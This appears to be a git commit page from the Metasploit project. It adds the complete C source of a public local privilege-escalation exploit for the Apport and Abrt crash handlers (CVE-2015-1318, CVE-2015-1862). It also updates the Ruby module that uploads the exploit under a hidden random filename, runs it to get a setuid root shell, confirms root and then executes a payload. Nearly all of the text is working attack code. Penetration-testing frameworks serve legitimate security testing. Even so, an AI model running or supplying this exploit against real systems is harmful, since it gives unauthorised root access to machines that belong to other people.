Use cross-compiled exploit
parent
842736f7b1
commit
2f3e3b486a
Binary file not shown.
|
@ -0,0 +1,143 @@
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <syslog.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <linux/sched.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
//
|
||||||
|
// Apport/Abrt Vulnerability Demo Exploit.
|
||||||
|
//
|
||||||
|
// Apport: CVE-2015-1318
|
||||||
|
// Abrt: CVE-2015-1862
|
||||||
|
//
|
||||||
|
// -- taviso@cmpxchg8b.com, April 2015.
|
||||||
|
//
|
||||||
|
// $ gcc -static newpid.c
|
||||||
|
// $ ./a.out
|
||||||
|
// uid=0(root) gid=0(root) groups=0(root)
|
||||||
|
// sh-4.3# exit
|
||||||
|
// exit
|
||||||
|
//
|
||||||
|
// Hint: To get libc.a,
|
||||||
|
// yum install glibc-static or apt-get install libc6-dev
|
||||||
|
//
|
||||||
|
|
||||||
|
//
|
||||||
|
// Modified for Metasploit. Original exploit:
|
||||||
|
// - https://www.exploit-db.com/exploits/36746/
|
||||||
|
//
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int status;
|
||||||
|
pid_t wrapper;
|
||||||
|
pid_t init;
|
||||||
|
pid_t subprocess;
|
||||||
|
unsigned i;
|
||||||
|
|
||||||
|
// If we're root, then we've convinced the core handler to run us,
|
||||||
|
// so create a setuid root executable that can be used outside the chroot.
|
||||||
|
if (getuid() == 0) {
|
||||||
|
if (chown("sh", 0, 0) != 0)
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
|
||||||
|
if (chmod("sh", 04755) != 0)
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
|
||||||
|
// a shell and cleanup.
|
||||||
|
if (setuid(0) == 0) {
|
||||||
|
system("id");
|
||||||
|
system("rm -rf exploit");
|
||||||
|
execlp("sh", "sh", NULL);
|
||||||
|
|
||||||
|
// Something went wrong.
|
||||||
|
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
|
||||||
|
}
|
||||||
|
|
||||||
|
// It looks like the exploit hasn't run yet, so create a chroot.
|
||||||
|
if (mkdir("exploit", 0755) != 0
|
||||||
|
|| mkdir("exploit/usr", 0755) != 0
|
||||||
|
|| mkdir("exploit/usr/share", 0755) != 0
|
||||||
|
|| mkdir("exploit/usr/share/apport", 0755) != 0
|
||||||
|
|| mkdir("exploit/usr/libexec", 0755) != 0) {
|
||||||
|
err(EXIT_FAILURE, "failed to create chroot directory");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create links to the exploit locations we need.
|
||||||
|
if (link(*argv, "exploit/sh") != 0
|
||||||
|
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|
||||||
|
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
|
||||||
|
err(EXIT_FAILURE, "failed to create required hard links");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create a subprocess so we don't enter the new namespace.
|
||||||
|
if ((wrapper = fork()) == 0) {
|
||||||
|
|
||||||
|
// In the child process, create a new pid and user ns. The pid
|
||||||
|
// namespace is only needed on Ubuntu, because they check for %P != %p
|
||||||
|
// in their core handler. On Fedora, just a user ns is sufficient.
|
||||||
|
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
|
||||||
|
err(EXIT_FAILURE, "failed to create new namespace");
|
||||||
|
|
||||||
|
// Create a process in the new namespace.
|
||||||
|
if ((init = fork()) == 0) {
|
||||||
|
|
||||||
|
// Init (pid 1) signal handling is special, so make a subprocess to
|
||||||
|
// handle the traps.
|
||||||
|
if ((subprocess = fork()) == 0) {
|
||||||
|
// Change /proc/self/root, which we can do as we're privileged
|
||||||
|
// within the new namepace.
|
||||||
|
if (chroot("exploit") != 0) {
|
||||||
|
err(EXIT_FAILURE, "chroot didnt work");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now trap to get the core handler invoked.
|
||||||
|
__builtin_trap();
|
||||||
|
|
||||||
|
// Shouldn't happen, unless user is ptracing us or something.
|
||||||
|
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the subprocess exited with an abnormal signal, then everything worked.
|
||||||
|
if (waitpid(subprocess, &status, 0) == subprocess)
|
||||||
|
return WIFSIGNALED(status)
|
||||||
|
? EXIT_SUCCESS
|
||||||
|
: EXIT_FAILURE;
|
||||||
|
|
||||||
|
// Something didn't work.
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The new namespace didn't work.
|
||||||
|
if (waitpid(init, &status, 0) == init)
|
||||||
|
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
|
||||||
|
? EXIT_SUCCESS
|
||||||
|
: EXIT_FAILURE;
|
||||||
|
|
||||||
|
// Waitpid failure.
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// If the subprocess returned sccess, the exploit probably worked,
|
||||||
|
// reload with euid zero.
|
||||||
|
if (waitpid(wrapper, &status, 0) == wrapper) {
|
||||||
|
// All done, spawn root shell.
|
||||||
|
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||||
|
execl(*argv, "w00t", NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unknown error.
|
||||||
|
errx(EXIT_FAILURE, "unexpected result, cannot continue");
|
||||||
|
}
|
|
@ -58,6 +58,10 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def base_dir
|
||||||
|
datastore['WritableDir']
|
||||||
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
res = cmd_exec 'apport-cli --version'
|
res = cmd_exec 'apport-cli --version'
|
||||||
|
|
||||||
|
@ -118,37 +122,47 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||||
end
|
end
|
||||||
|
|
||||||
# Tavis Ormandy's exploit:
|
# Upload Tavis Ormandy's newpid exploit:
|
||||||
# - https://www.exploit-db.com/exploits/36746/
|
# - https://www.exploit-db.com/exploits/36746/
|
||||||
# Compiled on Ubuntu 14.04.1 LTS x86
|
# Cross-compiled with musl:
|
||||||
|
# - i486-linux-musl-cc -static newpid.c
|
||||||
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
|
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
|
||||||
fd = ::File.open path, 'rb'
|
fd = ::File.open path, 'rb'
|
||||||
executable_data = fd.read fd.stat.size
|
executable_data = fd.read fd.stat.size
|
||||||
fd.close
|
fd.close
|
||||||
|
|
||||||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||||
executable_path = "#{datastore['WritableDir']}/#{executable_name}"
|
executable_path = "#{base_dir}/#{executable_name}"
|
||||||
upload_and_chmodx executable_path, executable_data
|
upload_and_chmodx executable_path, executable_data
|
||||||
|
|
||||||
|
# Upload payload executable
|
||||||
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||||
payload_path = "#{datastore['WritableDir']}/#{payload_name}"
|
payload_path = "#{base_dir}/#{payload_name}"
|
||||||
upload_and_chmodx payload_path, generate_payload_exe
|
upload_and_chmodx payload_path, generate_payload_exe
|
||||||
|
|
||||||
# the exploit writes an 'exploit' directory
|
# newpid writes an 'exploit' directory
|
||||||
# which must be removed manually if exploitation fails
|
# which must be removed manually if exploitation fails
|
||||||
register_dir_for_cleanup "#{datastore['WritableDir']}/exploit"
|
register_dir_for_cleanup "#{base_dir}/exploit"
|
||||||
|
|
||||||
|
# Change working directory to base_dir,
|
||||||
|
# allowing newpid to create the required hard links
|
||||||
|
cmd_exec "cd '#{base_dir}'"
|
||||||
|
|
||||||
print_status 'Launching exploit...'
|
print_status 'Launching exploit...'
|
||||||
cmd_exec "cd #{datastore['WritableDir']}"
|
|
||||||
output = cmd_exec executable_path
|
output = cmd_exec executable_path
|
||||||
output.each_line { |line| vprint_status line.chomp }
|
output.each_line { |line| vprint_status line.chomp }
|
||||||
|
|
||||||
|
# Check for root privileges
|
||||||
id = cmd_exec 'id'
|
id = cmd_exec 'id'
|
||||||
|
|
||||||
unless id.include? 'root'
|
unless id.include? 'root'
|
||||||
fail_with Failure::Unknown, 'Failed to gain root privileges'
|
fail_with Failure::Unknown, 'Failed to gain root privileges'
|
||||||
end
|
end
|
||||||
|
|
||||||
print_good "Upgraded session to root privileges ('#{id}')"
|
print_good 'Upgraded session to root privileges'
|
||||||
|
vprint_line id
|
||||||
|
|
||||||
|
# Execute payload executable
|
||||||
vprint_status 'Executing payload...'
|
vprint_status 'Executing payload...'
|
||||||
cmd_exec payload_path
|
cmd_exec payload_path
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue